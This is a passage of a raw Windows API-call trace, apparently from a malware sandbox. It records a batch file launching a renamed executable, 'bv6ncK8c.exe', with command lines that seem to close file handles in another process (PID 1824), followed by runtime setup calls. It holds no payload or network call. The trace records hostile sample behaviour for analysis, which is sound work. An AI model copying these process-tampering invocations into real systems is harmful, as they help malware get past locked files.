[0092.040] GetProcessHeap () returned 0x700000 [0092.040] RtlSizeHeap (HeapHandle=0x700000, Flags=0x0, MemoryPointer=0x724c30) returned 0xb8 [0092.040] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x3bf0e4 | out: _Buffer="\r\n") returned 2 [0092.040] _get_osfhandle (_FileHandle=1) returned 0x7 [0092.040] GetFileType (hFile=0x7) returned 0x2 [0092.041] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0092.041] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3bf0a4 | out: lpMode=0x3bf0a4) returned 1 [0092.041] _get_osfhandle (_FileHandle=1) returned 0x7 [0092.041] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x3bf0d0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3bf0d0*=0x2) returned 1 [0092.043] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0092.043] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x3bf0e0 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0092.043] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x3bf0e0 | out: _Buffer=">") returned 1 [0092.043] _get_osfhandle (_FileHandle=1) returned 0x7 [0092.043] GetFileType (hFile=0x7) returned 0x2 [0092.044] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0092.044] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3bf0a8 | out: lpMode=0x3bf0a8) returned 1 [0092.044] _get_osfhandle (_FileHandle=1) returned 0x7 [0092.044] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x3bf0d4, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x3bf0d4*=0x26) returned 1 [0092.044] _get_osfhandle (_FileHandle=1) returned 0x7 [0092.044] GetFileType (hFile=0x7) returned 0x2 [0092.044] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0092.044] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3bf32c | out: lpMode=0x3bf32c) returned 1 [0092.045] _get_osfhandle (_FileHandle=1) returned 0x7 [0092.045] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab3bd04*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x3bf358, lpReserved=0x0 | out: lpBuffer=0x4ab3bd04*, lpNumberOfCharsWritten=0x3bf358*=0x1) returned 1 [0092.045] _get_osfhandle (_FileHandle=1) returned 0x7 [0092.045] GetFileType (hFile=0x7) returned 0x2 [0092.045] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0092.045] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3bf310 | out: lpMode=0x3bf310) returned 1 [0092.046] _get_osfhandle (_FileHandle=1) returned 0x7 [0092.046] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x724bf0*, nNumberOfCharsToWrite=0xc, lpNumberOfCharsWritten=0x3bf33c, lpReserved=0x0 | out: lpBuffer=0x724bf0*, lpNumberOfCharsWritten=0x3bf33c*=0xc) returned 1 [0092.046] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x3bf348 | out: _Buffer=" -accepteula -c Run -y -p extract -nobanner ") returned 44 [0092.046] _get_osfhandle (_FileHandle=1) returned 0x7 [0092.046] GetFileType (hFile=0x7) returned 0x2 [0092.046] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0092.046] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3bf308 | out: lpMode=0x3bf308) returned 1 [0092.046] _get_osfhandle (_FileHandle=1) returned 0x7 [0092.046] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2c, lpNumberOfCharsWritten=0x3bf334, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3bf334*=0x2c) returned 1 [0092.048] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x3bf364 | out: _Buffer=") ") returned 2 [0092.048] _get_osfhandle (_FileHandle=1) returned 0x7 [0092.048] GetFileType (hFile=0x7) returned 0x2 [0092.048] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0092.048] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3bf324 | out: lpMode=0x3bf324) returned 1 [0092.048] _get_osfhandle (_FileHandle=1) returned 0x7 [0092.048] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x3bf350, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3bf350*=0x2) returned 1 [0092.049] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x3bf384 | out: _Buffer="\r\n") returned 2 [0092.049] _get_osfhandle (_FileHandle=1) returned 0x7 [0092.049] GetFileType (hFile=0x7) returned 0x2 [0092.049] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0092.049] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3bf344 | out: lpMode=0x3bf344) returned 1 [0092.049] _get_osfhandle (_FileHandle=1) returned 0x7 [0092.049] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x3bf370, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3bf370*=0x2) returned 1 [0092.051] GetConsoleTitleW (in: lpConsoleTitle=0x3bee94, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0092.052] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x7147b0, lpFilePart=0x3be9b4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3be9b4*="Desktop") returned 0x25 [0092.052] SetErrorMode (uMode=0x0) returned 0x1 [0092.052] GetProcessHeap () returned 0x700000 [0092.052] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x7147a8, Size=0x6e) returned 0x7147a8 [0092.052] GetProcessHeap () returned 0x700000 [0092.052] RtlSizeHeap (HeapHandle=0x700000, Flags=0x0, MemoryPointer=0x7147a8) returned 0x6e [0092.052] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0092.052] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0092.052] GetProcessHeap () returned 0x700000 [0092.052] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x120) returned 0x714820 [0092.052] GetProcessHeap () returned 0x700000 [0092.052] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x238) returned 0x714948 [0092.053] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0092.053] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", fInfoLevelId=0x1, lpFindFileData=0x3be750, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3be750) returned 0x714af8 [0092.053] FindClose (in: hFindFile=0x714af8 | out: hFindFile=0x714af8) returned 1 [0092.053] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0092.053] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0092.053] GetConsoleTitleW (in: lpConsoleTitle=0x3bec28, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0092.053] InitializeProcThreadAttributeList (in: lpAttributeList=0x3beab0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x3beb78 | out: lpAttributeList=0x3beab0, lpSize=0x3beb78) returned 1 [0092.053] UpdateProcThreadAttribute (in: lpAttributeList=0x3beab0, dwFlags=0x0, Attribute=0x60001, lpValue=0x3beb70, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x3beab0, lpPreviousValue=0x0) returned 1 [0092.053] GetStartupInfoW (in: lpStartupInfo=0x3bea6c | out: lpStartupInfo=0x3bea6c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0092.053] lstrcmpW (lpString1="\\bv6ncK8c.exe", lpString2="\\XCOPY.EXE") returned -1 [0092.053] CreateProcessW (in: lpApplicationName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", lpCommandLine="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x3beb0c*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x3beb58 | out: lpCommandLine="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner", lpProcessInformation=0x3beb58*(hProcess=0x74, hThread=0x84, dwProcessId=0xd7c, dwThreadId=0xd80)) returned 1 [0092.063] CloseHandle (hObject=0x84) returned 1 [0092.063] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0092.063] GetProcessHeap () returned 0x700000 [0092.063] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x717710 | out: hHeap=0x700000) returned 1 [0092.063] GetEnvironmentStringsW () returned 0x716b70* [0092.063] GetProcessHeap () returned 0x700000 [0092.063] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0xb94) returned 0x717710 [0092.063] FreeEnvironmentStringsW (penv=0x716b70) returned 1 [0092.063] WaitForSingleObject (hHandle=0x74, dwMilliseconds=0xffffffff) returned 0x0 [0093.431] GetExitCodeProcess (in: hProcess=0x74, lpExitCode=0x3bea4c | out: lpExitCode=0x3bea4c*=0x1) returned 1 [0093.431] CloseHandle (hObject=0x74) returned 1 [0093.431] _vsnwprintf (in: _Buffer=0x3beb94, _BufferCount=0x13, _Format="%08X", _ArgList=0x3bea58 | out: _Buffer="00000001") returned 8 [0093.431] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000001") returned 1 [0093.431] GetProcessHeap () returned 0x700000 [0093.431] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x717710 | out: hHeap=0x700000) returned 1 [0093.431] GetEnvironmentStringsW () returned 0x716b70* [0093.431] GetProcessHeap () returned 0x700000 [0093.431] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0xb94) returned 0x717710 [0093.431] FreeEnvironmentStringsW (penv=0x716b70) returned 1 [0093.431] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0093.431] GetProcessHeap () returned 0x700000 [0093.431] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x717710 | out: hHeap=0x700000) returned 1 [0093.431] GetEnvironmentStringsW () returned 0x716b70* [0093.431] GetProcessHeap () returned 0x700000 [0093.431] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0xb94) returned 0x717710 [0093.432] FreeEnvironmentStringsW (penv=0x716b70) returned 1 [0093.432] GetProcessHeap () returned 0x700000 [0093.432] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x700e38 | out: hHeap=0x700000) returned 1 [0093.432] DeleteProcThreadAttributeList (in: lpAttributeList=0x3beab0 | out: lpAttributeList=0x3beab0) [0093.432] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.432] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0093.432] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.432] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0093.433] _get_osfhandle (_FileHandle=0) returned 0x3 [0093.433] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0093.433] SetConsoleInputExeNameW () returned 0x1 [0093.433] GetConsoleOutputCP () returned 0x1b5 [0093.433] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0093.433] SetThreadUILanguage (LangId=0x0) returned 0x409 [0093.433] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x3bf47c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0093.434] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0093.434] _get_osfhandle (_FileHandle=3) returned 0x74 [0093.434] SetFilePointer (in: hFile=0x74, lDistanceToMove=226, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0093.434] GetProcessHeap () returned 0x700000 [0093.434] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x714a78 | out: hHeap=0x700000) returned 1 [0093.434] GetProcessHeap () returned 0x700000 [0093.434] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x714948 | out: hHeap=0x700000) returned 1 [0093.434] GetProcessHeap () returned 0x700000 [0093.434] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x714820 | out: hHeap=0x700000) returned 1 [0093.434] GetProcessHeap () returned 0x700000 [0093.434] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x7147a8 | out: hHeap=0x700000) returned 1 [0093.434] GetProcessHeap () returned 0x700000 [0093.434] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x714720 | out: hHeap=0x700000) returned 1 [0093.434] GetProcessHeap () returned 0x700000 [0093.434] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x714508 | out: hHeap=0x700000) returned 1 [0093.434] GetProcessHeap () returned 0x700000 [0093.434] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x724c30 | out: hHeap=0x700000) returned 1 [0093.434] GetProcessHeap () returned 0x700000 [0093.434] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x724be8 | out: hHeap=0x700000) returned 1 [0093.434] GetProcessHeap () returned 0x700000 [0093.434] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x700e50 | out: hHeap=0x700000) returned 1 [0093.435] GetProcessHeap () returned 0x700000 [0093.435] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x714440 | out: hHeap=0x700000) returned 1 [0093.435] GetProcessHeap () returned 0x700000 [0093.435] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x700e68 | out: hHeap=0x700000) returned 1 [0093.435] GetProcessHeap () returned 0x700000 [0093.435] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x714408 | out: hHeap=0x700000) returned 1 [0093.435] GetProcessHeap () returned 0x700000 [0093.435] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x7143a8 | out: hHeap=0x700000) returned 1 [0093.435] GetProcessHeap () returned 0x700000 [0093.435] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x70f508 | out: hHeap=0x700000) returned 1 [0093.435] GetProcessHeap () returned 0x700000 [0093.435] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x714348 | out: hHeap=0x700000) returned 1 [0093.435] GetProcessHeap () returned 0x700000 [0093.435] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x7142e8 | out: hHeap=0x700000) returned 1 [0093.435] GetProcessHeap () returned 0x700000 [0093.435] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x714258 | out: hHeap=0x700000) returned 1 [0093.435] GetProcessHeap () returned 0x700000 [0093.435] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x714200 | out: hHeap=0x700000) returned 1 [0093.435] GetProcessHeap () returned 0x700000 [0093.435] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x7012a8 | out: hHeap=0x700000) returned 1 [0093.435] GetProcessHeap () returned 0x700000 [0093.435] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x7141b0 | out: hHeap=0x700000) returned 1 [0093.435] GetProcessHeap () returned 0x700000 [0093.435] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x701248 | out: hHeap=0x700000) returned 1 [0093.435] _get_osfhandle (_FileHandle=3) returned 0x74 [0093.435] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0093.435] ReadFile (in: hFile=0x74, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x3bf460, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x3bf460*=0x0, lpOverlapped=0x0) returned 1 [0093.435] GetLastError () returned 0x0 [0093.435] _get_osfhandle (_FileHandle=3) returned 0x74 [0093.435] GetFileType (hFile=0x74) returned 0x1 [0093.435] _get_osfhandle (_FileHandle=3) returned 0x74 [0093.435] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0093.436] GetProcessHeap () returned 0x700000 [0093.436] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x400a) returned 0x724be8 [0093.436] GetProcessHeap () returned 0x700000 [0093.436] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x724be8 | out: hHeap=0x700000) returned 1 [0093.436] _get_osfhandle (_FileHandle=3) returned 0x74 [0093.436] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0093.436] ReadFile (in: hFile=0x74, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x3bf444, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x3bf444*=0x0, lpOverlapped=0x0) returned 1 [0093.436] GetLastError () returned 0x0 [0093.436] _get_osfhandle (_FileHandle=3) returned 0x74 [0093.436] GetFileType (hFile=0x74) returned 0x1 [0093.436] _get_osfhandle (_FileHandle=3) returned 0x74 [0093.436] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0093.436] GetProcessHeap () returned 0x700000 [0093.436] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x8, Size=0x400a) returned 0x724be8 [0093.436] GetProcessHeap () returned 0x700000 [0093.436] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x724be8 | out: hHeap=0x700000) returned 1 [0093.436] longjmp () [0093.436] _tell (_FileHandle=3) returned 226 [0093.436] _close (_FileHandle=3) returned 0 [0093.436] CmdBatNotification () returned 0x1 [0093.436] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.436] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0093.437] _get_osfhandle (_FileHandle=1) returned 0x7 [0093.437] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0093.437] _get_osfhandle (_FileHandle=0) returned 0x3 [0093.437] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0093.437] SetConsoleInputExeNameW () returned 0x1 [0093.437] GetConsoleOutputCP () returned 0x1b5 [0093.437] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0093.438] SetThreadUILanguage (LangId=0x0) returned 0x409 [0093.438] exit (_Code=1) Process: id = "148" image_name = "bv6nck8c64.exe" filename = "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe" page_root = "0x75a1000" os_pid = "0xc94" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "145" os_parent_pid = "0xc7c" cmd_line = "bv6ncK8c.exe -accepteula -c 14C -y -p 1824 -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 696 os_tid = 0xc98 [0080.821] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12ff38 | out: lpSystemTimeAsFileTime=0x12ff38*(dwLowDateTime=0xd3fe9f80, dwHighDateTime=0x1d5d06a)) [0080.821] GetCurrentThreadId () returned 0xc98 [0080.821] GetCurrentProcessId () returned 0xc94 [0080.821] QueryPerformanceCounter (in: lpPerformanceCount=0x12ff40 | out: lpPerformanceCount=0x12ff40*=22278263496) returned 1 [0080.831] GetProcessHeap () returned 0x340000 [0080.831] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76f20000 [0080.831] GetProcAddress (hModule=0x76f20000, lpProcName="FlsAlloc") returned 0x76f37190 [0080.831] GetProcAddress (hModule=0x76f20000, lpProcName="FlsFree") returned 0x76f315b0 [0080.831] GetProcAddress (hModule=0x76f20000, lpProcName="FlsGetValue") returned 0x76f43520 [0080.831] GetProcAddress (hModule=0x76f20000, lpProcName="FlsSetValue") returned 0x76f3bd90 [0080.831] GetProcAddress (hModule=0x76f20000, lpProcName="InitializeCriticalSectionEx") returned 0x76f379b0 [0080.832] GetProcAddress (hModule=0x76f20000, lpProcName="CreateEventExW") returned 0x76f6c590 [0080.832] GetProcAddress (hModule=0x76f20000, lpProcName="CreateSemaphoreExW") returned 0x76f6c4c0 [0080.832] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadStackGuarantee") returned 0x76f28050 [0080.832] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThreadpoolTimer") returned 0x76f28820 [0080.832] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadpoolTimer") returned 0x7715b2f0 [0080.832] GetProcAddress (hModule=0x76f20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7714d8c0 [0080.832] GetProcAddress (hModule=0x76f20000, lpProcName="CloseThreadpoolTimer") returned 0x7714d620 [0080.832] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThreadpoolWait") returned 0x76f6ba80 [0080.832] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadpoolWait") returned 0x7715e170 [0080.832] GetProcAddress (hModule=0x76f20000, lpProcName="CloseThreadpoolWait") returned 0x7714c540 [0080.832] GetProcAddress (hModule=0x76f20000, lpProcName="FlushProcessWriteBuffers") returned 0x77191f80 [0080.832] GetProcAddress (hModule=0x76f20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720ec60 [0080.832] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentProcessorNumber") returned 0x77190040 [0080.832] GetProcAddress (hModule=0x76f20000, lpProcName="GetLogicalProcessorInformation") returned 0x76f6b820 [0080.832] GetProcAddress (hModule=0x76f20000, lpProcName="CreateSymbolicLinkW") returned 0x76f95ad0 [0080.833] GetProcAddress (hModule=0x76f20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0080.833] GetProcAddress (hModule=0x76f20000, lpProcName="EnumSystemLocalesEx") returned 0x76f6c3d0 [0080.833] GetProcAddress (hModule=0x76f20000, lpProcName="CompareStringEx") returned 0x76f6b980 [0080.833] GetProcAddress (hModule=0x76f20000, lpProcName="GetDateFormatEx") returned 0x76fb0920 [0080.833] GetProcAddress (hModule=0x76f20000, lpProcName="GetLocaleInfoEx") returned 0x76f23c10 [0080.833] GetProcAddress (hModule=0x76f20000, lpProcName="GetTimeFormatEx") returned 0x76fad4e0 [0080.833] GetProcAddress (hModule=0x76f20000, lpProcName="GetUserDefaultLocaleName") returned 0x76f6b790 [0080.833] GetProcAddress (hModule=0x76f20000, lpProcName="IsValidLocaleName") returned 0x76f6b770 [0080.833] GetProcAddress (hModule=0x76f20000, lpProcName="LCMapStringEx") returned 0x76f6b710 [0080.833] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentPackageId") returned 0x0 [0080.833] GetProcAddress (hModule=0x76f20000, lpProcName="GetTickCount64") returned 0x76f29450 [0080.833] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0080.833] GetProcAddress (hModule=0x76f20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0080.834] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x478) returned 0x35f050 [0080.834] GetCurrentThreadId () returned 0xc98 [0080.834] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x28) returned 0x355ed0 [0080.834] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0xb00) returned 0x35f4d0 [0080.834] GetStartupInfoW (in: lpStartupInfo=0x12fe90 | out: lpStartupInfo=0x12fe90*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x14000c2d0, hStdError=0x35f050)) [0080.834] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0080.834] GetFileType (hFile=0x3) returned 0x2 [0081.044] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0081.044] GetFileType (hFile=0x7) returned 0x2 [0081.044] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0081.044] GetFileType (hFile=0xb) returned 0x2 [0081.045] GetCommandLineW () returned="bv6ncK8c.exe -accepteula -c 14C -y -p 1824 -nobanner" [0081.045] GetEnvironmentStringsW () returned 0x35ffe0* [0081.045] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0xb38) returned 0x360b20 [0081.045] FreeEnvironmentStringsW (penv=0x35ffe0) returned 1 [0081.045] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x14002c980, nSize=0x104 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe")) returned 0x33 [0081.045] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0xb2) returned 0x361660 [0081.045] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x138) returned 0x361720 [0081.045] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x3e) returned 0x356510 [0081.045] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x6c) returned 0x361860 [0081.045] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x62) returned 0x3618e0 [0081.045] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x78) returned 0x361950 [0081.045] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x62) returned 0x3619d0 [0081.045] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x2e) returned 0x35de00 [0081.045] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, 